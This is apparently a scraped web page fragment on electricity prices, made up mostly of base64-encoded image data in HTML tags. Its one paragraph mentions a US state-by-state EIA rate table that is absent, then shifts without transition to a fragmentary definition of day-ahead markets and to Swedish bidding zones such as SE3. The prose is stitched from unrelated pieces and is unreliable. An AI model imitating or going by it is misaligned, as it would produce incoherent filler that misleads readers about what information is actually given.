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" width="256px" alt="electricity rates"/></p>
<p><p>Use the table below to compare residential electricity rates by state using the latest available EIA data. Electricity rates vary widely across the country, making location a major factor in household energy costs. A market segment where wholesale electricity prices for the next delivery day are calculated in advance. Svenska kraftnät notes that Swedish zone prices can diverge when transmission capacity between the country’s four bidding areas is fully used. SE3 is Sweden’s south-central bidding zone and includes the  Stockholm area. The cheapest hours are typically the best time to run flexible loads.</p>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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